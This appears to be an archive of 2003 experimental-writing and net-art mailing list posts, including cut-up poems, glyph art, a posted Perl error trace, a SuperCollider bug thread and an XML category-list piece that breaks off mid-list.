                "content": "\nDate:         Wed, 30 Apr 2003 02:54:41 +0200\nFrom: Karl-Erik Tallmo <tallmo {AT} NISUS.SE>\nSubject: problem economic democratic II\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n(Please view in a fixed-width font such as Courier.)\n\n\nprob    leme    cono    micd\nemoc    rati    cdis    turb\nedpr    oduc    edre    gard\nedat    tach    edre    ctif\niedt probere lemeore cononcr micd\nease emocisg ratiise cdisisc turb\n      edpr    oduc    edre    gard\nlose edatndi tachate edreppr ctif\necia iedtein hereima foreeno incr\nmina easeese disgara uiseefa disc\ncili    tate    hesi    tate\ncomp loseete indioll catecti appr\nvedi eciasol teinete timachi teno\n      mina    tese    para    tefa\nngpl ciliugh tatengs hesiash tate\ninge compery letehin collwre ecti\nckin vedibec ssolmin vetestr achi\nengt    heni    ngtr    aini\nngab ngplndo oughing ingsear mash\nning ingencr veryasi thingpr gwre\n      ckin    gbec    omin    gstr\naisi engtgch heniosi ngtrgex aini\nposi ngabggl andossi ninggdi lear\nscus ninging incrndi easiati ngpr\nngse    para    ting    elec\nting aisiorr ngchcti oosigfi ngex\nghti posigte nggltin ossiall ngdi\n      scus    sing    indi    cati\nowin ngsestu parayin tingcar elec\nryin tingorg corrniz ectingr ngfi\negio ghtialp ngterso stinalu gall\nnive    rsal    indi    vidu\naloc owinasi gstunde dyinisi gcar\nonco ryinclu gorgion anizect ingr\n      egio    nalp    erso    nalu\nific nivetio rsalreq indiire vidu\nsmea alocure casifea ondeure cisi\nsrea oncoise nclupro sionise rect\nsmas    sess    ucce    sses\ncong ificess atiosde nreqail uire\nspro smealem sureass sfeassi ture\n      srea    lise    spro    mise\nnsde smaslar sesstio uccesor sses\ngani congati ressnsi esdestr tail\nucti spronsc blemndi sassion assi\nspos    itio    nsqu    esti\nonsi nsdesti claruti ationsr nsor\neaso ganisco zatimis onsiars nstr\n      ucti    onsc    ondi    tion\n      spos    itio    nsqu    esti\n      onsi    nsti    tuti    onsr\n      easo    nsco    mmis    sars\n\n\n(Derived from a speech by Stalin, 5 March 1937.)\n\n\n/KET\n\n\n\nTo: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org\nFrom: \"][mez][\" <netwurker {AT} hotkey.net.au>\nSubject: _txt.fault_\nDate: Mon, 19 May 2003 14:06:56 +1000\n\n\n\n\n\n                      \u02d9\u02d9\u02d9\u02d9\u02d9\u02d9\u0111                 \u02d9\u02d9\u02d9\u02d9\u0111 \n              \u008c                             \u02d9\u02d9\u02d9\u02d9\u02d9\u02d9\u0111                 \u02d9\u02d9\u02d9\u02d9\u0163 \n                                    \u0092                              \u02d9\u02d9\u02d9\u02d9\u02d9\u02d9\u0111 \n                \u02d9\u02d9\u02d9\u02d9\u02d9\u0080                                     \u009a \n               \u02d9\u02d9\u02d9\u02d9\u02d9\u02d9\u0111                  \u007f\u02d9\u02d9\u02d9\u02d9\u0155 \n        \u0141                              \u007f\u02d9\u02d9\u02d9\u02d9\u02d9\u0159                  \u02d9\u02d9\u02d9\u02d9\u0159 \n                               \u0105                              ?\u02d9\u02d9\u02d9\u02d9\u02d9\u0159 \n            \u02d9\u02d9\u02d9\u02d9\u0163                                     k \n          ?\u02d9\u02d9\u02d9\u02d9\u02d9\u0159                  \u02d9\u02d9\u02d9\u02d9\u02d9\u0080 \n  o                              \u02d9\u02d9\u02d9\u02d9\u02d9\u00fc                  \u02d9\u02d9\u02d9\u02d9\u02d9\u0155 \n                        s                              \u02d9\u02d9\u02d9\u02d9\u02d9\u00fc \n     \u007f\u02d9\u02d9\u02d9\u02d9\u0159                                    w \n   \u02d9\u02d9\u02d9\u02d9\u02d9\u00fc                   ?\u02d9\u02d9\u02d9\u02d9\u0163                                    { \n                          \u02d9\u02d9\u02d9\u02d9\u02d9\u0163                   \u02d9\u02d9\u02d9\u02d9\u02d9\u0080 \n                  \u0080                              \u02d9\u02d9\u02d9\u02d9\u02d9\u0163 \n\u02d9\u02d9\u02d9\u02d9\u02d9\u0155                                   \u0086 \n\u02d9\u02d9\u02d9\u02d9\u02d9\u02d9                   \u02d9\u02d9\u02d9\u02d9\u02d9\u0111                                   \u008c \n                       \u02d9\u02d9\u02d9\u02d9\u02d9\u02d9                    \u02d9\u02d9\u02d9\u02d9\u02d9\u00fc \n               \u0094                               \u007f\u02d9\u02d9\u02d9\u02d9\u02d9 \n?\u02d9\u02d9\u02d9\u02d9\u02d9                                   \u009d \n?\u02d9\u02d9\u02d9\u02d9\u02d9\u0080                   \u02d9\u02d9\u02d9\u02d9\u02d9\u0154                                     \u015e \n                          \u02d9\u02d9\u02d9\u02d9\u02d9\u0080                   \u02d9\u02d9\u02d9\u02d9\u02d9\u0155 \n                d                               \u02d9\u02d9\u02d9\u02d9\u02d9\u0154 \n\u02d9\u02d9\u02d9\u02d9\u02d9\u0159                                  g \n\u02d9\u02d9\u02d9\u02d9\u02d9\u0154                    \u02d9\u02d9\u02d9\u02d9\u02d9\u0163\nk                               \u02d9\u02d9\u02d9\u02d9\u02d9\u0155                    \u007f\u02d9\u02d9\u02d9\u02d9\u02d9 \n                       o                               \u02d9\u02d9\u02d9\u02d9\u02d9\u0155 \n      \u02d9\u02d9\u02d9\u02d9\u02d9\u0080                                 s \n   \u02d9\u02d9\u02d9\u02d9\u02d9\u0111                    \u02d9\u02d9\u02d9\u02d9\u02d9\u0155                                 x \n                          \u007f\u02d9\u02d9\u02d9\u02d9\u0111                    \u02d9\u02d9\u02d9\u02d9\u02d9\u0159 \n                }                                ?\u02d9\u02d9\u02d9\u02d9\u0159 \n\u02d9\u02d9\u02d9\u02d9\u02d9\u00fc                                 \u0083 \n\u02d9\u02d9\u02d9\u02d9\u00fc                     \u02d9\u02d9\u02d9\u02d9\u02d9\u0163                                 \u009e \n                       \u02d9\u02d9\u02d9\u02d9\u00fc                     \u007f\u02d9\u02d9\u02d9\u02d9\u02d9\u0080 \n             \u00a8                                \u02d9\u02d9\u02d9\u02d9\u0163 \n\u02d9\u02d9\u02d9\u02d9\u02d9\u0154                                \u0165 \n\u02d9\u02d9\u02d9\u02d9\u02d9                     \u02d9\u02d9\u02d9\u02d9\u02d9\u0155                                o \n                      \u02d9\u02d9\u02d9\u02d9\u02d9                     \u02d9\u02d9\u02d9\u02d9\u02d9\u0159 \n           r                                 \u02d9\u02d9\u02d9\u02d9\u02d9\u0080 \n\u02d9\u02d9\u02d9\u02d9\u02d9\u00fc                                v \n?\u02d9\u02d9\u02d9\u02d9\u0080                     \u02d9\u02d9\u02d9\u02d9\u02d9\u0163                                z \n                        \u02d9\u02d9\u02d9\u02d9\u0154                     \u007f\u02d9\u02d9\u02d9\u02d9\u02d9 \n             \u007f                                 \u02d9\u02d9\u02d9\u02d9\u0155 \n?\u02d9\u02d9\u02d9\u02d9\u02d9\u0154                               \u0084 \n\u02d9\u02d9\u02d9\u02d9\u0111                     \u02d9\u02d9\u02d9\u02d9\u02d9\u0155                                     \u008a \n                            \u02d9\u02d9\u02d9\u02d9\u0111                     \u02d9\u02d9\u02d9\u02d9\u02d9\u0111 \n                \u0090                                  \u02d9\u02d9\u02d9\u02d9\u0159 \n  \u02d9\u02d9\u02d9\u02d9\u02d9\u0159                               \u0098 \n\u007f\u02d9\u02d9\u02d9\u00fc                     \u02d9\u02d9\u02d9\u02d9\u02d9\u00fc                               \u02d8 \n                       ?\u02d9\u02d9\u02d9\u00fc                     \u02d9\u02d9\u02d9\u02d9\u02d9\u0163 \n           \u00b4                                  \u02d9\u02d9\u02d9\u0163 \n\u02d9\u02d9\u02d9\u02d9\u02d9\u02d9                               h \n\u02d9\u02d9\u02d9\u02d9                      ?\u02d9\u02d9\u02d9\u02d9\u02d9\u0080                              k \n                       \u02d9\u02d9\u02d9\u02d9\u0080                     \u02d9\u02d9\u02d9\u02d9\u02d9\u0154 \n          o                                  \u02d9\u02d9\u02d9\u02d9\u0154 \n\u02d9\u02d9\u02d9\u02d9\u02d9\u0155                              s \n\u007f\u02d9\u02d9\u02d9\u0154                     \u02d9\u02d9\u02d9\u02d9\u02d9\u0111                              x \n                       ?\u02d9\u02d9\u02d9\u0155                     \u02d9\u02d9\u02d9\u02d9\u02d9\u0159 \n          }                                   \u02d9\u02d9\u02d9\u0111 \n\u02d9\u02d9\u02d9\u02d9\u02d9\u00fc                              \u0082 \n\u02d9\u02d9\u02d9\u0159                     \u02d9\u02d9\u02d9\u02d9\u02d9\u0163                              \u0089 \n                      \u02d9\u02d9\u02d9\u00fc                      \u02d9\u02d9\u02d9\u02d9\u02d9\u02d9 \n         \u0091                                    \u02d9\u02d9\u02d9\u0163 \n\u007f\u02d9\u02d9\u02d9\u02d9\u02d9\u0080                             \u009b \n\u007f\u02d9\u02d9\u02d9                      \u007f\u02d9\u02d9\u02d9\u02d9\u02d9\u0154                             \u0179 \n                        \u02d9\u02d9\u02d9                      ?\u02d9\u02d9\u02d9\u02d9\u02d9\u0155 \n          _                                    \u02d9\u02d9\u02d9\u0080 \n\u02d9\u02d9\u02d9\u02d9\u02d9\u0155                             b \n\u02d9\u02d9\u02d9\u0154                     \u02d9\u02d9\u02d9\u02d9\u02d9\u0111                             f \n                      \u02d9\u02d9\u02d9\u0155                     \u02d9\u02d9\u02d9\u02d9\u02d9\u0159 \n               j                                     \u02d9\u02d9\u02d9\u0111 \n   \u02d9\u02d9\u02d9\u02d9\u02d9\u00fc\nn                                     ?\u02d9\u02d9\u0159                     \u02d9\u02d9\u02d9\u02d9\u02d9\u0163 \n                       s                                     \u02d9\u02d9\u00fc \n          \u02d9\u02d9\u02d9\u02d9\u02d9\u0163                             x \n        \u02d9\u02d9\u0163                     \u02d9\u02d9\u02d9\u02d9\u02d9\u02d9                             ~ \n                              \u02d9\u02d9\u02d9                     \u02d9\u02d9\u02d9\u02d9\u02d9\u02d9 \n              \u009c                                      \u02d9\u02d9\u02d9\u0080 \n  \u02d9\u02d9\u02d9\u02d9\u02d9\u02d9\u0080                            \u00a8 \n\u007f\u02d9\u02d9\u0154                     \u02d9\u02d9\u02d9\u02d9\u02d9\u02d9\u0154                            h \n                        \u02d9\u02d9\u0155                     \u02d9\u02d9\u02d9\u02d9\u02d9\u02d9\u0154 \n        k                                      \u02d9\u02d9\u0111 \n\u007f\u02d9\u02d9\u02d9\u02d9\u02d9\u0155                            o \n\u02d9\u02d9\u0159                     \u007f\u02d9\u02d9\u02d9\u02d9\u02d9\u0155                            s \n                        \u02d9\u02d9\u00fc                     \u007f\u02d9\u02d9\u02d9\u02d9\u02d9\u0111 \n        w                                       \u007f\u02d9\u0163 \n?\u02d9\u02d9\u02d9\u02d9\u02d9\u0111                            | \n\u02d9\u02d9                     ?\u02d9\u02d9\u02d9\u02d9\u02d9\u0111                             \u0081 \n                        \u02d9\u02d9\u0080                    ?\u02d9\u02d9\u02d9\u02d9\u02d9\u0159 \n       \u0086                                       \u02d9\u02d9\u0154 \n\u02d9\u02d9\u02d9\u02d9\u02d9\u0159\n\u008d                                        \u02d9\u02d9\u0155                    \u02d9\u02d9\u02d9\u02d9\u02d9\u0159 \n                       \u0096                                        ?\u02d9\u0111 \n            \u02d9\u02d9\u02d9\u02d9\u02d9\u00fc                            \u0104 \n            \u02d9\u0159                    \u02d9\u02d9\u02d9\u02d9\u02d9\u00fc                             a \n                                   \u02d9\u00fc                    \u02d9\u02d9\u02d9\u02d9\u02d9\u00fc \n                d                                        \u02d9\u0163 \n    \u02d9\u02d9\u02d9\u02d9\u02d9\u00fc                            g \n     \u007f\u02d9                    \u02d9\u02d9\u02d9\u02d9\u02d9\u00fc\n\n\n\n\n\n- pro][rating][.lucid.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\n_\n_men[iscus_heart] plucking via broken bag.ga[u]ges_\n\n\n\nDate:         Fri, 16 May 2003 22:59:01 -0700\nFrom: \"[]\" <kanztanz {AT} YAHOO.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: \n\nha!ha!ha!ha!ha!\n\n\n\nahah!ahahahahah!aiahai!aiaiai!ai\nahai!ahahahahah!aiahai!aiaiai!ai\naiaiai!ahahah!aiaiah!ah!aiaiaiai\nahaiahai ai ahai ah aiaiah aiahai ahaiahah\naiaiahahaiai aiaiahahaiai aiaiahahaiai\n\naiahahahah ahaiahah ai aiah aiahai aiaiai\nahahahahah aiaiahai aiahaiai aiai aiaiahai ai\n\nahahah ahaiah ahahah aiaiaiai\nahai ahahah aiaiah ahai ahahah\n\naiaiai ahahah aiahaiahaiah\nahahah aiahai aiaiahahaiai\n\n\n__________________________________\nDo you Yahoo!?\nThe New Yahoo! Search - Faster. Easier. Bingo.\nhttp://search.yahoo.com\n\n\n\nTo: 7-11 {AT} mail.ljudmila.org\nDate: Tue, 20 May 2003 08:21:05 -0500 (CDT)\nFrom: diocletian {AT} visi.com (Karl Petersen)\nSubject: raw error\n\n\n                               System error\n   \n   error:  Couldn't execute statement: ERROR: pg_atoi: zero-length\n   string at /export/2001/mason/htdocs/gallery9/metaobject.html line\n   52.\n   context:\n   ...\n   277:  }\n   278:\n   279:  # All errors returned from this routine will be in exception\n   form.\n   280:  local $SIG{'__DIE__'} = sub {\n   281:  rethrow_exception( $_[0] );\n   282:  };\n   283:\n   284:  #\n   285:  # $m is a dynamically scoped global containing this\n   ...\n   code stack:\n   /usr/local/lib/perl5/site_perl/5.8.0/HTML/Mason/Request.pm:281\n   /export/2001/mason/htdocs/gallery9/metaobject.html:52\n   \n   raw error\nCouldn't execute statement: ERROR:  pg_atoi: zero-length string at /export/20\n01/mason/htdocs/gallery9/metaobject.html line 52.\n\n\nTrace begun at /usr/local/lib/perl5/site_perl/5.8.0/HTML/Mason/Exceptions.pm\nline 121\nHTML::Mason::Exceptions::rethrow_exception('Couldn\\'t execute statement: ERRO\nR:  pg_atoi: zero-length string at /export/2001/mason/htdocs/gallery9/metaobj\nect.html line 52.^J') called at /usr/local/lib/perl5/site_perl/5.8.0/HTML/Mas\non/Request.pm line 281\nHTML::Mason::Request::__ANON__('Couldn\\'t execute statement: ERROR:  pg_atoi:\n zero-length string at /export/2001/mason/htdocs/gallery9/metaobject.html lin\ne 52.^J') called at /export/2001/mason/htdocs/gallery9/metaobject.html line 5\n2\nHTML::Mason::Commands::__ANON__('id', 1) called at /usr/local/lib/perl5/site_\nperl/5.8.0/HTML/Mason/Component.pm line 133\nHTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0x96eed8c\n)', 'id', 1) called at /usr/local/lib/perl5/site_perl/5.8.0/HTML/Mason/Reques\nt.pm line 1040\neval {...}('HTML::Mason::Component::FileBased=HASH(0x96eed8c)', 'id', 1) call\ned at /usr/local/lib/perl5/site_perl/5.8.0/HTML/Mason/Request.pm line 1039\nHTML::Mason::Request::comp('HTML::Mason::Request::ApacheHandler=HASH(0x9c5f49\n0)', 'HASH(0x9c3aa24)', 'HTML::Mason::Component::FileBased=HASH(0x96eed8c)',\n'id', 1) called at /usr/local/lib/perl5/site_perl/5.8.0/HTML/Mason/Request.pm\n line 336\neval {...}('HTML::Mason::Request::ApacheHandler=HASH(0x9c5f490)', 'HASH(0x9c3\naa24)', 'HTML::Mason::Component::FileBased=HASH(0x96eed8c)', 'id', 1) called\nat /usr/local/lib/perl5/site_perl/5.8.0/HTML/Mason/Request.pm line 336\neval {...}('HTML::Mason::Request::ApacheHandler=HASH(0x9c5f490)', 'HASH(0x9c3\naa24)', 'HTML::Mason::Component::FileBased=HASH(0x96eed8c)', 'id', 1) called\nat /usr/local/lib/perl5/site_perl/5.8.0/HTML/Mason/Request.pm line 296\nHTML::Mason::Request::exec('HTML::Mason::Request::ApacheHandler=HASH(0x9c5f49\n0)') called at /usr/local/lib/perl5/site_perl/5.8.0/HTML/Mason/ApacheHandler.\npm line 134\neval {...}('HTML::Mason::Request::ApacheHandler=HASH(0x9c5f490)') called at /\nusr/local/lib/perl5/site_perl/5.8.0/HTML/Mason/ApacheHandler.pm line 134\nHTML::Mason::Request::ApacheHandler::exec('HTML::Mason::Request::ApacheHandle\nr=HASH(0x9c5f490)') called at /usr/local/lib/perl5/site_perl/5.8.0/HTML/Mason\n/ApacheHandler.pm line 787\nHTML::Mason::ApacheHandler::handle_request('HTML::Mason::ApacheHandler=HASH(0\nx88cb0c0)', 'Apache=SCALAR(0x9c3a25c)') called at /usr/local/perl58_httpd/con\nf/mason.pl line 170\nHTML::Mason::handler('Apache=SCALAR(0x9c3a25c)') called at /dev/null line 0\neval {...}('Apache=SCALAR(0x9c3a25c)') called at /dev/null line 0\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ########### \nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / \n/ /____|################################################################## \n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n> \n> \n\n\n\nFrom: a u t u m n - f r e q u e n c y <star.power {AT} usa.net>\nTo: \"filt\" <_arc.hive_ {AT} lm.va.com.au>\nSubject: Re: \"quote.spc\" [[_arc.hive_]\nDate: Mon, 19 May 2003 21:06:06 -0600\n\naLL_m.t._sette:collect\ndom(s)_eRR_state(s)\nnAIMe(s)\nonList {AT} Last.stat/sette:fille/filtte/m:REC:f:ROM:\naRRay/.way/.wav-various_state(s)_oft:\nautumn-frequency\n\n\n\n\nDate: Tue, 20 May 2003 21:56:43 +0200\nTo: sc-dev {AT} create.ucsb.edu\nFrom: c-k-h-r-o-m-a-s-c-h-i-n-e-s <c-k-h-r-o-m-a-c-h-i-n-e {AT} chromaticspaceandworld.com>\nSubject: Re: [sc-dev] File.sc\n\n\"\n\n------\n\nvar d;\nd = File.new(\"test\",\"r\");\nd.contents;\n// posts the content of the file in the postwindow\n// i would prefer that to happen through : d.contents.postln;\n\n------\n\nvar d;\nd = File.new(\"test\",\"r\");\nd.contents;\n\"somestring\";\n// posts only \"somestring\"\n\n------\n\nvar d;\nd = File.new(\"test\",\"r\");\nd.contents;\n\"somestring\";\nd.readAllString;\n// posts nothing\n\n------\n\nvar d;\nd = File.new(\"test\",\"r\");\nd.contents;\n\"somestring\";\nd.readAllString.postln;\n// posts nothing\n\n------\n\nvar d;\nd = File.new(\"test\",\"r\");\nd.contents.postln; // gets posted\n\"somestring\".postln; // gets posted\nd.readAllString.postln; // doesn't get posted\n\n------\n\nvar d;\nd = File.new(\"test3\",\"r\");\nd.contents; // doesn't get posted\n\"somestring\"; // doesn't get posted\nd.readAllString.postln; // doesn't get posted\n\"otherstring\"; // gets posted\n\n------\n\n\"\n\ninterlichtspielhaus\n\n\n\n\nAm Sonntag, 18.05.03 um 17:45 Uhr schrieb James McCartney:\n\n>\n> You're right .contents doesn't work. I'll change it.\n>\n> On Sunday, May 18, 2003, at 05:54 AM, c-k-h-r-o-m-a-s-c-h-i-n-e-s \n> wrote:\n>\n>>\n>> hi\n>>\n>> in File.sc :\n>>\n>> sc2 :\n>>\n>> \tcontents {\n>> \t\t^this.readAllString;\n>> \t}\n>>\n>>\n>> sc3 :\n>>\n>> \tcontents {\n>> \t\t^this.read(String.new(this.length));\n>> \t}\n>>\n>>\n>> why this different implementation ?\n>> my source-reading gets stuck at the primitives\n>>\n>> could anybody explain ?\n>>\n>>\n>> i have sc2-classes that rely on \"contents\"\n>> and stop functioning in sc3\n>>\n>>\n>> thanks\n>> jmcs2\n>>\n>> _______________________________________________\n>> sc-dev mailing list\n>> sc-dev {AT} create.ucsb.edu\n>> http://www.create.ucsb.edu/mailman/listinfo/sc-dev\n>>\n>>\n> -- \n> --- james mccartney   james {AT} audiosynth.com   \n> <http://www.audiosynth.com>\n> SuperCollider - a real time audio synthesis programming language for \n> MacOS X.\n>\n> _______________________________________________\n> sc-dev mailing list\n> sc-dev {AT} create.ucsb.edu\n> http://www.create.ucsb.edu/mailman/listinfo/sc-dev\n>\n>\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ########### \nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / \n/ /____|################################################################## \n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n> \n> \n\n\n\nDate:         Wed, 30 Apr 2003 02:54:41 +0200\nFrom: Karl-Erik Tallmo <tallmo {AT} NISUS.SE>\nSubject: problem economic democratic II\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n(Please view in a fixed-width font such as Courier.)\n\n\nprob    leme    cono    micd\nemoc    rati    cdis    turb\nedpr    oduc    edre    gard\nedat    tach    edre    ctif\niedt probere lemeore cononcr micd\nease emocisg ratiise cdisisc turb\n      edpr    oduc    edre    gard\nlose edatndi tachate edreppr ctif\necia iedtein hereima foreeno incr\nmina easeese disgara uiseefa disc\ncili    tate    hesi    tate\ncomp loseete indioll catecti appr\nvedi eciasol teinete timachi teno\n      mina    tese    para    tefa\nngpl ciliugh tatengs hesiash tate\ninge compery letehin collwre ecti\nckin vedibec ssolmin vetestr achi\nengt    heni    ngtr    aini\nngab ngplndo oughing ingsear mash\nning ingencr veryasi thingpr gwre\n      ckin    gbec    omin    gstr\naisi engtgch heniosi ngtrgex aini\nposi ngabggl andossi ninggdi lear\nscus ninging incrndi easiati ngpr\nngse    para    ting    elec\nting aisiorr ngchcti oosigfi ngex\nghti posigte nggltin ossiall ngdi\n      scus    sing    indi    cati\nowin ngsestu parayin tingcar elec\nryin tingorg corrniz ectingr ngfi\negio ghtialp ngterso stinalu gall\nnive    rsal    indi    vidu\naloc owinasi gstunde dyinisi gcar\nonco ryinclu gorgion anizect ingr\n      egio    nalp    erso    nalu\nific nivetio rsalreq indiire vidu\nsmea alocure casifea ondeure cisi\nsrea oncoise nclupro sionise rect\nsmas    sess    ucce    sses\ncong ificess atiosde nreqail uire\nspro smealem sureass sfeassi ture\n      srea    lise    spro    mise\nnsde smaslar sesstio uccesor sses\ngani congati ressnsi esdestr tail\nucti spronsc blemndi sassion assi\nspos    itio    nsqu    esti\nonsi nsdesti claruti ationsr nsor\neaso ganisco zatimis onsiars nstr\n      ucti    onsc    ondi    tion\n      spos    itio    nsqu    esti\n      onsi    nsti    tuti    onsr\n      easo    nsco    mmis    sars\n\n\n(Derived from a speech by Stalin, 5 March 1937.)\n\n\n/KET\n\n\n\nDate:         Wed, 21 May 2003 19:52:35 -0400\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: \"The Health of Radio Maps Regional Electronics\"\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n  \"The Health of Radio Maps Regional Electronics\"\n\n\n  <narrow r:resource=\"Top/Arts/Theatre\"/>\n  <narrow r:resource=\"Top/Arts/Art_Theft_and_Crime\"/>\n  <narrow r:resource=\"Top/Recreation/Theme_Parks\"/>\n  <narrow r:resource=\"Top/Reference/Thesauri\"/>\n\n  <narrow r:resource=\"Top/Health\"/>\n  <Topic r:id=\"Top/Health\">\n  <d:Title>Health</d:Title>\n  <narrow r:resource=\"Top/Health/Emergency_Services\"/>\n  <narrow r:resource=\"Top/Health/Fitness\"/>\n  <narrow r:resource=\"Top/Health/Pharmacy\"/>\n  <narrow r:resource=\"Top/Health/Alternative\"/>\n  <narrow r:resource=\"Top/Health/Life_Extension\"/>\n  <narrow r:resource=\"Top/Health/Medicine\"/>\n  <narrow r:resource=\"Top/Health/Dentistry\"/>\n  <narrow r:resource=\"Top/Health/Nursing\"/>\n  <narrow r:resource=\"Top/Health/Nutrition\"/>\n  <narrow r:resource=\"Top/Health/Vision\"/>\n  <narrow r:resource=\"Top/Health/Services\"/>\n  <narrow r:resource=\"Top/Health/Beauty\"/>\n  <narrow r:resource=\"Top/Health/Substance_Abuse\"/>\n  <narrow r:resource=\"Top/Health/Patient_Education\"/>\n  <narrow r:resource=\"Top/Health/Womens_Health\"/>\n  <narrow r:resource=\"Top/Health/Children\"/>\n  <narrow r:resource=\"Top/Health/Conditions\"/>\n  <narrow r:resource=\"Top/Health/Occupational_Health_and_Safety\"/>\n  <narrow r:resource=\"Top/Health/Mental_Health\"/>\n  <narrow r:resource=\"Top/Health/Aging\"/>\n  <narrow r:resource=\"Top/Health/Healthcare_Industry\"/>\n  <narrow r:resource=\"Top/Health/Products\"/>\n  <narrow r:resource=\"Top/Health/Publications\"/>\n  <narrow r:resource=\"Top/Health/Education\"/>\n  <narrow r:resource=\"Top/Health/Men's_Health\"/>\n  <narrow r:resource=\"Top/Health/Consumer_Support_Groups\"/>\n  <narrow r:resource=\"Top/Health/Disabilities\"/>\n  <narrow r:resource=\"Top/Health/Organizations\"/>\n  <narrow r:resource=\"Top/Health/Chat,_Discussion,_ICQ\"/>\n  <narrow r:resource=\"Top/Health/References_and_Resources\"/>\n  <narrow r:resource=\"Top/Health/Conditions_and_Diseases\"/>\n  <related r:resource=\"Top/Business/Industries/Health_and_Fitness\"/>\n  <related r:resource=\"Top/Society/Issues/Health_Care\"/>\n  <symbolic r:resource=\"Medicine:Top/Health/Medicine\"/>\n  <narrow r:resource=\"Top/Shopping/Health_and_Beauty\"/>\n  <related r:resource=\"Top/Health/Fitness/Weightlifting/Bodybuilding\"/>\n  <symbolic r:resource=\"Bodybuilding:Top/Health/Fitness/Weightlifting/Bodybuild\n\n  <narrow r:resource=\"Top/Computers/Software\"/>\n  <narrow r:resource=\"Top/Science/Software\"/>\n  <symbolic r:resource=\"History of Science:Top/Society/History/Science\"/>\n  <narrow r:resource=\"Top/Sports/Softball\"/>\n\n  <narrow r:resource=\"Top/Arts/Radio\"/>\n  <symbolic r:resource=\"Radio:Top/Arts/Radio\"/>\n  <narrow r:resource=\"Top/Recreation/Amateur_Radio\"/>\n\n  <narrow r:resource=\"Top/Reference/Maps\"/>\n\n  <narrow r:resource=\"Top/Regional\"/>\n  <narrow r:resource=\"Top/News/Regional\"/>\n  <Topic r:id=\"Top/Regional\">\n  <d:Title>Regional</d:Title>\n  <narrow r:resource=\"Top/Regional/NZ\"/>\n  <narrow r:resource=\"Top/Regional/US\"/>\n  <narrow r:resource=\"Top/Regional/Canada\"/>\n  <narrow r:resource=\"Top/Regional/UK\"/>\n  <narrow r:resource=\"Top/Regional/Europe\"/>\n  <narrow r:resource=\"Top/Regional/Australia\"/>\n  <narrow r:resource=\"Top/Regional/Asia\"/>\n  <narrow r:resource=\"Top/Regional/Africa\"/>\n  <narrow r:resource=\"Top/Regional/Middle_East\"/>\n  <narrow r:resource=\"Top/Regional/South_America\"/>\n  <narrow r:resource=\"Top/Regional/Central_America\"/>\n  <narrow r:resource=\"Top/Regional/Polar_Regions\"/>\n  <narrow r:resource=\"Top/Regional/Atlantic_Islands\"/>\n  <narrow r:resource=\"Top/Regional/Pacific_Islands\"/>\n  